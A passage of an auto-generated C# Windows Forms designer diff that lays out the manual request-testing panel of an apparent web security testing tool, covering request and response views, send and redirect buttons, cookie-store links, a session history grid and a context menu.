((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.TestGroupsLV.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.TestGroupsLV.HideSelection = false; + this.TestGroupsLV.Location = new System.Drawing.Point(0, 20); + this.TestGroupsLV.MultiSelect = false; + this.TestGroupsLV.Name = "TestGroupsLV"; + this.TestGroupsLV.Size = new System.Drawing.Size(705, 68); + this.TestGroupsLV.TabIndex = 13; + this.TestGroupsLV.TileSize = new System.Drawing.Size(50, 50); + this.TestGroupsLV.UseCompatibleStateImageBehavior = false; + this.TestGroupsLV.View = System.Windows.Forms.View.SmallIcon; + this.TestGroupsLV.Visible = false; + this.TestGroupsLV.SelectedIndexChanged += new System.EventHandler(this.TestGroupsLV_SelectedIndexChanged); + // + // TestGroupsTitleTB + // + this.TestGroupsTitleTB.BackColor = System.Drawing.SystemColors.Window; + this.TestGroupsTitleTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.TestGroupsTitleTB.Location = new System.Drawing.Point(2, 5); + this.TestGroupsTitleTB.Margin = new System.Windows.Forms.Padding(0); + this.TestGroupsTitleTB.Name = "TestGroupsTitleTB"; + this.TestGroupsTitleTB.ReadOnly = true; + this.TestGroupsTitleTB.Size = new System.Drawing.Size(705, 13); + this.TestGroupsTitleTB.TabIndex = 2; + this.TestGroupsTitleTB.TabStop = false; + this.TestGroupsTitleTB.Text = "The following are the available Request groups. You can select any group by click" + + "ing on its name."; + this.TestGroupsTitleTB.Visible = false; + // + // MTBaseSplit + // + this.MTBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.MTBaseSplit.Location = new System.Drawing.Point(0, 0); + this.MTBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.MTBaseSplit.Name = "MTBaseSplit"; + this.MTBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // MTBaseSplit.Panel1 + // + this.MTBaseSplit.Panel1.Controls.Add(this.TestBaseRequestSplit); + // + // MTBaseSplit.Panel2 + // + this.MTBaseSplit.Panel2.Controls.Add(this.MTResponseSideTabs); + this.MTBaseSplit.Size = new System.Drawing.Size(705, 374); + this.MTBaseSplit.SplitterDistance = 190; + this.MTBaseSplit.SplitterWidth = 2; + this.MTBaseSplit.TabIndex = 0; + this.MTBaseSplit.Visible = false; + // + // TestBaseRequestSplit + // + this.TestBaseRequestSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestBaseRequestSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.TestBaseRequestSplit.IsSplitterFixed = true; + this.TestBaseRequestSplit.Location = new System.Drawing.Point(0, 0); + this.TestBaseRequestSplit.Margin = new System.Windows.Forms.Padding(0); + this.TestBaseRequestSplit.Name = "TestBaseRequestSplit"; + this.TestBaseRequestSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // TestBaseRequestSplit.Panel1 + // + this.TestBaseRequestSplit.Panel1.Controls.Add(this.TestUpdateFromCookieStoreLL); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.NextTestLog); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTExceptionTB); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTDeleteGroupLL); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.TestIDLbl); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTCurrentGroupNameTB); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.PreviousTestLog); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTRenameGroupLL); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.label36); + this.TestBaseRequestSplit.Panel1.Controls.Add(this.label40); + // + // TestBaseRequestSplit.Panel2 + // + this.TestBaseRequestSplit.Panel2.Controls.Add(this.MTMaximizeRequestViewBtn); + this.TestBaseRequestSplit.Panel2.Controls.Add(this.TestRequestView); + this.TestBaseRequestSplit.Panel2.Controls.Add(this.panel4); + this.TestBaseRequestSplit.Panel2.Controls.Add(this.MTSendBtn); + this.TestBaseRequestSplit.Size = new System.Drawing.Size(705, 190); + this.TestBaseRequestSplit.SplitterDistance = 49; + this.TestBaseRequestSplit.SplitterWidth = 2; + this.TestBaseRequestSplit.TabIndex = 24; + // + // TestUpdateFromCookieStoreLL + // + this.TestUpdateFromCookieStoreLL.AutoSize = true; + this.TestUpdateFromCookieStoreLL.Location = new System.Drawing.Point(3, 32); + this.TestUpdateFromCookieStoreLL.Name = "TestUpdateFromCookieStoreLL"; + this.TestUpdateFromCookieStoreLL.Size = new System.Drawing.Size(257, 13); + this.TestUpdateFromCookieStoreLL.TabIndex = 28; + this.TestUpdateFromCookieStoreLL.TabStop = true; + this.TestUpdateFromCookieStoreLL.Text = "Update this Request\'s Cookies from the Cookie Store"; + this.TestUpdateFromCookieStoreLL.Visible = false; + this.TestUpdateFromCookieStoreLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestUpdateFromCookieStoreLL_LinkClicked); + // + // NextTestLog + // + this.NextTestLog.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.NextTestLog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.NextTestLog.Location = new System.Drawing.Point(636, 6); + this.NextTestLog.Name = "NextTestLog"; + this.NextTestLog.Size = new System.Drawing.Size(49, 23); + this.NextTestLog.TabIndex = 12; + this.NextTestLog.Text = ">"; + this.NextTestLog.UseVisualStyleBackColor = true; + this.NextTestLog.Click += new System.EventHandler(this.NextTestLog_Click); + // + // MTExceptionTB + // + this.MTExceptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MTExceptionTB.BackColor = System.Drawing.SystemColors.Window; + this.MTExceptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.MTExceptionTB.ForeColor = System.Drawing.Color.Red; + this.MTExceptionTB.Location = new System.Drawing.Point(266, 32); + this.MTExceptionTB.Name = "MTExceptionTB"; + this.MTExceptionTB.ReadOnly = true; + this.MTExceptionTB.Size = new System.Drawing.Size(433, 13); + this.MTExceptionTB.TabIndex = 7; + this.MTExceptionTB.Visible = false; + // + // MTDeleteGroupLL + // + this.MTDeleteGroupLL.AutoSize = true; + this.MTDeleteGroupLL.Location = new System.Drawing.Point(403, 8); + this.MTDeleteGroupLL.Name = "MTDeleteGroupLL"; + this.MTDeleteGroupLL.Size = new System.Drawing.Size(70, 13); + this.MTDeleteGroupLL.TabIndex = 18; + this.MTDeleteGroupLL.TabStop = true; + this.MTDeleteGroupLL.Text = "Delete Group"; + this.MTDeleteGroupLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MTDeleteGroupLL_LinkClicked); + // + // TestIDLbl + // + this.TestIDLbl.AutoSize = true; + this.TestIDLbl.BackColor = System.Drawing.Color.Transparent; + this.TestIDLbl.Location = new System.Drawing.Point(7, 6); + this.TestIDLbl.Name = "TestIDLbl"; + this.TestIDLbl.Size = new System.Drawing.Size(24, 13); + this.TestIDLbl.TabIndex = 2; + this.TestIDLbl.Text = "ID: "; + // + // MTCurrentGroupNameTB + // + this.MTCurrentGroupNameTB.Location = new System.Drawing.Point(157, 5); + this.MTCurrentGroupNameTB.Name = "MTCurrentGroupNameTB"; + this.MTCurrentGroupNameTB.Size = new System.Drawing.Size(155, 20); + this.MTCurrentGroupNameTB.TabIndex = 17; + // + // PreviousTestLog + // + this.PreviousTestLog.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.PreviousTestLog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.PreviousTestLog.Location = new System.Drawing.Point(495, 6); + this.PreviousTestLog.Name = "PreviousTestLog"; + this.PreviousTestLog.Size = new System.Drawing.Size(49, 23); + this.PreviousTestLog.TabIndex = 11; + this.PreviousTestLog.Text = "<"; + this.PreviousTestLog.UseVisualStyleBackColor = true; + this.PreviousTestLog.Click += new System.EventHandler(this.PreviousTestLog_Click); + // + // MTRenameGroupLL + // + this.MTRenameGroupLL.AutoSize = true; + this.MTRenameGroupLL.Location = new System.Drawing.Point(318, 8); + this.MTRenameGroupLL.Name = "MTRenameGroupLL"; + this.MTRenameGroupLL.Size = new System.Drawing.Size(79, 13); + this.MTRenameGroupLL.TabIndex = 16; + this.MTRenameGroupLL.TabStop = true; + this.MTRenameGroupLL.Text = "Rename Group"; + this.MTRenameGroupLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MTRenameGroupLL_LinkClicked); + // + // label36 + // + this.label36.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label36.AutoSize = true; + this.label36.Location = new System.Drawing.Point(552, 11); + this.label36.Name = "label36"; + this.label36.Size = new System.Drawing.Size(77, 13); + this.label36.TabIndex = 14; + this.label36.Text = "Browse History"; + // + // label40 + // + this.label40.AutoSize = true; + this.label40.Location = new System.Drawing.Point(81, 8); + this.label40.Name = "label40"; + this.label40.Size = new System.Drawing.Size(70, 13); + this.label40.TabIndex = 15; + this.label40.Text = "Group Name:"; + // + // MTMaximizeRequestViewBtn + // + this.MTMaximizeRequestViewBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.MTMaximizeRequestViewBtn.ContextMenuStrip = this.LogMenu; + this.MTMaximizeRequestViewBtn.Location = new System.Drawing.Point(633, 117); + this.MTMaximizeRequestViewBtn.Name = "MTMaximizeRequestViewBtn"; + this.MTMaximizeRequestViewBtn.Size = new System.Drawing.Size(47, 19); + this.MTMaximizeRequestViewBtn.TabIndex = 23; + this.MTMaximizeRequestViewBtn.Text = "\\/"; + this.MTMaximizeRequestViewBtn.UseVisualStyleBackColor = true; + this.MTMaximizeRequestViewBtn.Click += new System.EventHandler(this.MTMaximizeRequestViewBtn_Click); + // + // LogMenu + // + this.LogMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.SelectForManualTestingToolStripMenuItem, + this.SelectForAutomatedScanningToolStripMenuItem, + this.SelectResponseForJavaScriptTestingToolStripMenuItem, + this.CopyRequestToolStripMenuItem, + this.CopyResponseToolStripMenuItem, + this.RunModulesOnRequestResponseToolStripMenuItem}); + this.LogMenu.Name = "ProxyLogMenu"; + this.LogMenu.Size = new System.Drawing.Size(306, 136); + this.LogMenu.Opening += new System.ComponentModel.CancelEventHandler(this.LogMenu_Opening); + // + // SelectForManualTestingToolStripMenuItem + // + this.SelectForManualTestingToolStripMenuItem.Name = "SelectForManualTestingToolStripMenuItem"; + this.SelectForManualTestingToolStripMenuItem.Size = new System.Drawing.Size(305, 22); + this.SelectForManualTestingToolStripMenuItem.Text = "Select this Request for Manual Testing"; + this.SelectForManualTestingToolStripMenuItem.Click += new System.EventHandler(this.SelectForManualTestingToolStripMenuItem_Click); + // + // SelectForAutomatedScanningToolStripMenuItem + // + this.SelectForAutomatedScanningToolStripMenuItem.Name = "SelectForAutomatedScanningToolStripMenuItem"; + this.SelectForAutomatedScanningToolStripMenuItem.Size = new System.Drawing.Size(305, 22); + this.SelectForAutomatedScanningToolStripMenuItem.Text = "Select this Request for Automated Scanning"; + this.SelectForAutomatedScanningToolStripMenuItem.Click += new System.EventHandler(this.SelectForAutomatedScanningToolStripMenuItem_Click); + // + // SelectResponseForJavaScriptTestingToolStripMenuItem + // + this.SelectResponseForJavaScriptTestingToolStripMenuItem.Name = "SelectResponseForJavaScriptTestingToolStripMenuItem"; + this.SelectResponseForJavaScriptTestingToolStripMenuItem.Size = new System.Drawing.Size(305, 22); + this.SelectResponseForJavaScriptTestingToolStripMenuItem.Text = "Select this Response for JavaScript Testing"; + this.SelectResponseForJavaScriptTestingToolStripMenuItem.Click += new System.EventHandler(this.SelectResponseForJavaScriptTestingToolStripMenuItem_Click); + // + // CopyRequestToolStripMenuItem + // + this.CopyRequestToolStripMenuItem.Name = "CopyRequestToolStripMenuItem"; + this.CopyRequestToolStripMenuItem.Size = new System.Drawing.Size(305, 22); + this.CopyRequestToolStripMenuItem.Text = "Copy Request"; + this.CopyRequestToolStripMenuItem.Click += new System.EventHandler(this.CopyRequestToolStripMenuItem_Click); + // + // CopyResponseToolStripMenuItem + // + this.CopyResponseToolStripMenuItem.Name = "CopyResponseToolStripMenuItem"; + this.CopyResponseToolStripMenuItem.Size = new System.Drawing.Size(305, 22); + this.CopyResponseToolStripMenuItem.Text = "Copy Response"; + this.CopyResponseToolStripMenuItem.Click += new System.EventHandler(this.CopyResponseToolStripMenuItem_Click); + // + // RunModulesOnRequestResponseToolStripMenuItem + // + this.RunModulesOnRequestResponseToolStripMenuItem.Name = "RunModulesOnRequestResponseToolStripMenuItem"; + this.RunModulesOnRequestResponseToolStripMenuItem.Size = new System.Drawing.Size(305, 22); + this.RunModulesOnRequestResponseToolStripMenuItem.Text = "Run Modules on this Request/Response"; + // + // TestRequestView + // + this.TestRequestView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.TestRequestView.BackColor = System.Drawing.Color.White; + this.TestRequestView.Location = new System.Drawing.Point(0, 0); + this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); + this.TestRequestView.Name = "TestRequestView"; + this.TestRequestView.ReadOnly = false; + this.TestRequestView.Size = new System.Drawing.Size(588, 139); + this.TestRequestView.TabIndex = 22; + // + // panel4 + // + this.panel4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panel4.BackColor = System.Drawing.Color.LightSteelBlue; + this.panel4.Controls.Add(this.TestAdvancedOptionsHelpLL); + this.panel4.Controls.Add(this.MTStoredRequestBtn); + this.panel4.Controls.Add(this.MTScriptedSendBtn); + this.panel4.Controls.Add(this.label41); + this.panel4.Location = new System.Drawing.Point(591, 31); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(111, 85); + this.panel4.TabIndex = 21; + // + // TestAdvancedOptionsHelpLL + // + this.TestAdvancedOptionsHelpLL.AutoSize = true; + this.TestAdvancedOptionsHelpLL.Location = new System.Drawing.Point(23, 68); + this.TestAdvancedOptionsHelpLL.Name = "TestAdvancedOptionsHelpLL"; + this.TestAdvancedOptionsHelpLL.Size = new System.Drawing.Size(65, 13); + this.TestAdvancedOptionsHelpLL.TabIndex = 20; + this.TestAdvancedOptionsHelpLL.TabStop = true; + this.TestAdvancedOptionsHelpLL.Text = "What\'s this?"; + this.TestAdvancedOptionsHelpLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestAdvancedOptionsHelpLL_LinkClicked); + // + // MTStoredRequestBtn + // + this.MTStoredRequestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MTStoredRequestBtn.Enabled = false; + this.MTStoredRequestBtn.Location = new System.Drawing.Point(6, 44); + this.MTStoredRequestBtn.Name = "MTStoredRequestBtn"; + this.MTStoredRequestBtn.Size = new System.Drawing.Size(100, 23); + this.MTStoredRequestBtn.TabIndex = 6; + this.MTStoredRequestBtn.Text = "Stored Request"; + this.MTStoredRequestBtn.UseVisualStyleBackColor = true; + this.MTStoredRequestBtn.Click += new System.EventHandler(this.MTStoredRequestBtn_Click); + // + // MTScriptedSendBtn + // + this.MTScriptedSendBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MTScriptedSendBtn.Enabled = false; + this.MTScriptedSendBtn.Location = new System.Drawing.Point(6, 20); + this.MTScriptedSendBtn.Name = "MTScriptedSendBtn"; + this.MTScriptedSendBtn.Size = new System.Drawing.Size(100, 23); + this.MTScriptedSendBtn.TabIndex = 5; + this.MTScriptedSendBtn.Text = "Scripted Send"; + this.MTScriptedSendBtn.UseVisualStyleBackColor = true; + this.MTScriptedSendBtn.Click += new System.EventHandler(this.MTScriptedSendBtn_Click); + // + // label41 + // + this.label41.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label41.AutoSize = true; + this.label41.Location = new System.Drawing.Point(8, 4); + this.label41.Name = "label41"; + this.label41.Size = new System.Drawing.Size(95, 13); + this.label41.TabIndex = 19; + this.label41.Text = "Advanced Options"; + // + // MTSendBtn + // + this.MTSendBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MTSendBtn.Location = new System.Drawing.Point(595, 4); + this.MTSendBtn.Name = "MTSendBtn"; + this.MTSendBtn.Size = new System.Drawing.Size(105, 23); + this.MTSendBtn.TabIndex = 1; + this.MTSendBtn.Text = "Send Request"; + this.MTSendBtn.UseVisualStyleBackColor = true; + this.MTSendBtn.Click += new System.EventHandler(this.MTSendBtn_Click); + // + // MTResponseSideTabs + // + this.MTResponseSideTabs.Controls.Add(this.MTResponseTab); + this.MTResponseSideTabs.Controls.Add(this.MTGroupHistoryTab); + this.MTResponseSideTabs.Controls.Add(this.MTHelp); + this.MTResponseSideTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.MTResponseSideTabs.Location = new System.Drawing.Point(0, 0); + this.MTResponseSideTabs.Margin = new System.Windows.Forms.Padding(0); + this.MTResponseSideTabs.Name = "MTResponseSideTabs"; + this.MTResponseSideTabs.Padding = new System.Drawing.Point(0, 0); + this.MTResponseSideTabs.SelectedIndex = 0; + this.MTResponseSideTabs.Size = new System.Drawing.Size(705, 182); + this.MTResponseSideTabs.TabIndex = 24; + // + // MTResponseTab + // + this.MTResponseTab.Controls.Add(this.MTMaximizeResponseViewBtn); + this.MTResponseTab.Controls.Add(this.TestUpdateCookieStoreLL); + this.MTResponseTab.Controls.Add(this.TestResponseView); + this.MTResponseTab.Controls.Add(this.MTGetRedirectBtn); + this.MTResponseTab.Controls.Add(this.MTFollowRedirectBtn); + this.MTResponseTab.Location = new System.Drawing.Point(4, 22); + this.MTResponseTab.Margin = new System.Windows.Forms.Padding(0); + this.MTResponseTab.Name = "MTResponseTab"; + this.MTResponseTab.Size = new System.Drawing.Size(697, 156); + this.MTResponseTab.TabIndex = 1; + this.MTResponseTab.Text = " Response "; + this.MTResponseTab.UseVisualStyleBackColor = true; + // + // MTMaximizeResponseViewBtn + // + this.MTMaximizeResponseViewBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MTMaximizeResponseViewBtn.ContextMenuStrip = this.LogMenu; + this.MTMaximizeResponseViewBtn.Location = new System.Drawing.Point(643, 5); + this.MTMaximizeResponseViewBtn.Name = "MTMaximizeResponseViewBtn"; + this.MTMaximizeResponseViewBtn.Size = new System.Drawing.Size(47, 19); + this.MTMaximizeResponseViewBtn.TabIndex = 26; + this.MTMaximizeResponseViewBtn.Text = "/\\"; + this.MTMaximizeResponseViewBtn.UseVisualStyleBackColor = true; + this.MTMaximizeResponseViewBtn.Click += new System.EventHandler(this.MTMaximizeResponseViewBtn_Click); + // + // TestUpdateCookieStoreLL + // + this.TestUpdateCookieStoreLL.AutoSize = true; + this.TestUpdateCookieStoreLL.Location = new System.Drawing.Point(198, 9); + this.TestUpdateCookieStoreLL.Name = "TestUpdateCookieStoreLL"; + this.TestUpdateCookieStoreLL.Size = new System.Drawing.Size(279, 13); + this.TestUpdateCookieStoreLL.TabIndex = 27; + this.TestUpdateCookieStoreLL.TabStop = true; + this.TestUpdateCookieStoreLL.Text = "Update the Cookie Store with cookies from this Response"; + this.TestUpdateCookieStoreLL.Visible = false; + this.TestUpdateCookieStoreLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestUpdateCookieStoreLL_LinkClicked); + // + // TestResponseView + // + this.TestResponseView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.TestResponseView.BackColor = System.Drawing.Color.White; + this.TestResponseView.IncludeReflectionTab = true; + this.TestResponseView.Location = new System.Drawing.Point(0, 27); + this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); + this.TestResponseView.Name = "TestResponseView"; + this.TestResponseView.ReadOnly = true; + this.TestResponseView.Size = new System.Drawing.Size(697, 129); + this.TestResponseView.TabIndex = 0; + // + // MTGetRedirectBtn + // + this.MTGetRedirectBtn.Location = new System.Drawing.Point(102, 4); + this.MTGetRedirectBtn.Name = "MTGetRedirectBtn"; + this.MTGetRedirectBtn.Size = new System.Drawing.Size(90, 23); + this.MTGetRedirectBtn.TabIndex = 25; + this.MTGetRedirectBtn.Text = "Get Redirect"; + this.MTGetRedirectBtn.UseVisualStyleBackColor = true; + this.MTGetRedirectBtn.Visible = false; + this.MTGetRedirectBtn.Click += new System.EventHandler(this.MTGetRedirectBtn_Click); + // + // MTFollowRedirectBtn + // + this.MTFollowRedirectBtn.Location = new System.Drawing.Point(6, 4); + this.MTFollowRedirectBtn.Name = "MTFollowRedirectBtn"; + this.MTFollowRedirectBtn.Size = new System.Drawing.Size(90, 23); + this.MTFollowRedirectBtn.TabIndex = 6; + this.MTFollowRedirectBtn.Text = "Follow Redirect"; + this.MTFollowRedirectBtn.UseVisualStyleBackColor = true; + this.MTFollowRedirectBtn.Visible = false; + this.MTFollowRedirectBtn.Click += new System.EventHandler(this.MTFollowRedirectBtn_Click); + // + // MTGroupHistoryTab + // + this.MTGroupHistoryTab.Controls.Add(this.TestGroupHistoryBaseSplit); + this.MTGroupHistoryTab.Location = new System.Drawing.Point(4, 22); + this.MTGroupHistoryTab.Name = "MTGroupHistoryTab"; + this.MTGroupHistoryTab.Size = new System.Drawing.Size(697, 156); + this.MTGroupHistoryTab.TabIndex = 2; + this.MTGroupHistoryTab.Text = " Group History "; + this.MTGroupHistoryTab.UseVisualStyleBackColor = true; + // + // TestGroupHistoryBaseSplit + // + this.TestGroupHistoryBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestGroupHistoryBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.TestGroupHistoryBaseSplit.IsSplitterFixed = true; + this.TestGroupHistoryBaseSplit.Location = new System.Drawing.Point(0, 0); + this.TestGroupHistoryBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.TestGroupHistoryBaseSplit.Name = "TestGroupHistoryBaseSplit"; + this.TestGroupHistoryBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // TestGroupHistoryBaseSplit.Panel1 + // + this.TestGroupHistoryBaseSplit.Panel1.Controls.Add(this.label6); + this.TestGroupHistoryBaseSplit.Panel1.Controls.Add(this.TestGroupHistoryDoDiffBtn); + // + // TestGroupHistoryBaseSplit.Panel2 + // + this.TestGroupHistoryBaseSplit.Panel2.Controls.Add(this.TestGroupLogGrid); + this.TestGroupHistoryBaseSplit.Size = new System.Drawing.Size(697, 156); + this.TestGroupHistoryBaseSplit.SplitterDistance = 32; + this.TestGroupHistoryBaseSplit.SplitterWidth = 2; + this.TestGroupHistoryBaseSplit.TabIndex = 24; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(3, 10); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(429, 13); + this.label6.TabIndex = 47; + this.label6.Text = "Click on Checkbox to select log. Click anywhere else to view the Request and Resp" + + "onse."; + // + // TestGroupHistoryDoDiffBtn + // + this.TestGroupHistoryDoDiffBtn.Location = new System.Drawing.Point(438, 5); + this.TestGroupHistoryDoDiffBtn.Name = "TestGroupHistoryDoDiffBtn"; + this.TestGroupHistoryDoDiffBtn.Size = new System.Drawing.Size(140, 23); + this.TestGroupHistoryDoDiffBtn.TabIndex = 46; + this.TestGroupHistoryDoDiffBtn.Text = "Diff Selected Sessions"; + this.TestGroupHistoryDoDiffBtn.UseVisualStyleBackColor = true; + this.TestGroupHistoryDoDiffBtn.Click += new System.EventHandler(this.TestGroupHistoryDoDiffBtn_Click); + // + // TestGroupLogGrid + // + this.TestGroupLogGrid.AllowUserToAddRows = false; + this.TestGroupLogGrid.AllowUserToDeleteRows = false; + this.TestGroupLogGrid.AllowUserToOrderColumns = true; + this.TestGroupLogGrid.AllowUserToResizeRows = false; + this.TestGroupLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.TestGroupLogGrid.BackgroundColor = System.Drawing.Color.White; + this.TestGroupLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.TestGroupLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.TestGroupLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.TestGroupLogGridForSelect, + this.TestGroupLogGridForID, + this.TestGroupLogGridForHost, + this.TestGroupLogGridForMethod, + this.TestGroupLogGridForURL, + this.TestGroupLogGridForSSL, + this.TestGroupLogGridForCode, + this.TestGroupLogGridForLength, + this.TestGroupLogGridForMIME, + this.TestGroupLogGridForSetCookie}); + this.TestGroupLogGrid.ContextMenuStrip = this.LogMenu; + this.TestGroupLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestGroupLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.TestGroupLogGrid.GridColor = System.Drawing.Color.White; + this.TestGroupLogGrid.Location = new System.Drawing.Point(0, 0); + this.TestGroupLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.TestGroupLogGrid.MultiSelect = false; + this.TestGroupLogGrid.Name = "TestGroupLogGrid"; + this.TestGroupLogGrid.ReadOnly = true; + this.TestGroupLogGrid.RowHeadersVisible = false; + this.TestGroupLogGrid.RowHeadersWidth = 10; + this.TestGroupLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.TestGroupLogGrid.Size = new System.Drawing.Size(697, 122); + this.TestGroupLogGrid.TabIndex = 23; + this.TestGroupLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.TestGroupLogGrid_CellClick); + // + // TestGroupLogGridForSelect + // + this.TestGroupLogGridForSelect.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForSelect.HeaderText = "SELECT"; + this.TestGroupLogGridForSelect.Name = "TestGroupLogGridForSelect"; + this.TestGroupLogGridForSelect.ReadOnly = true; + this.TestGroupLogGridForSelect.Width = 60; + // + // TestGroupLogGridForID + // + this.TestGroupLogGridForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForID.HeaderText = "ID"; + this.TestGroupLogGridForID.MinimumWidth = 50; + this.TestGroupLogGridForID.Name = "TestGroupLogGridForID"; + this.TestGroupLogGridForID.ReadOnly = true; + this.TestGroupLogGridForID.Width = 50; + // + // TestGroupLogGridForHost + // + this.TestGroupLogGridForHost.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForHost.HeaderText = "HOSTNAME"; + this.TestGroupLogGridForHost.Name = "TestGroupLogGridForHost"; + this.TestGroupLogGridForHost.ReadOnly = true; + this.TestGroupLogGridForHost.Width = 120; + // + // TestGroupLogGridForMethod + // + this.TestGroupLogGridForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForMethod.HeaderText = "METHOD"; + this.TestGroupLogGridForMethod.Name = "TestGroupLogGridForMethod"; + this.TestGroupLogGridForMethod.ReadOnly = true; + this.TestGroupLogGridForMethod.Width = 60; + // + // TestGroupLogGridForURL + // + this.TestGroupLogGridForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestGroupLogGridForURL.HeaderText = "URL"; + this.TestGroupLogGridForURL.MinimumWidth = 150; + this.TestGroupLogGridForURL.Name = "TestGroupLogGridForURL"; + this.TestGroupLogGridForURL.ReadOnly = true; + // + // TestGroupLogGridForSSL + // + this.TestGroupLogGridForSSL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForSSL.HeaderText = "SSL"; + this.TestGroupLogGridForSSL.Name = "TestGroupLogGridForSSL"; + this.TestGroupLogGridForSSL.ReadOnly = true; + this.TestGroupLogGridForSSL.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.TestGroupLogGridForSSL.Width = 30; + // + // TestGroupLogGridForCode + // + this.TestGroupLogGridForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForCode.HeaderText = "CODE"; + this.TestGroupLogGridForCode.Name = "TestGroupLogGridForCode"; + this.TestGroupLogGridForCode.ReadOnly = true; + this.TestGroupLogGridForCode.Width = 60; + // + // TestGroupLogGridForLength + // + 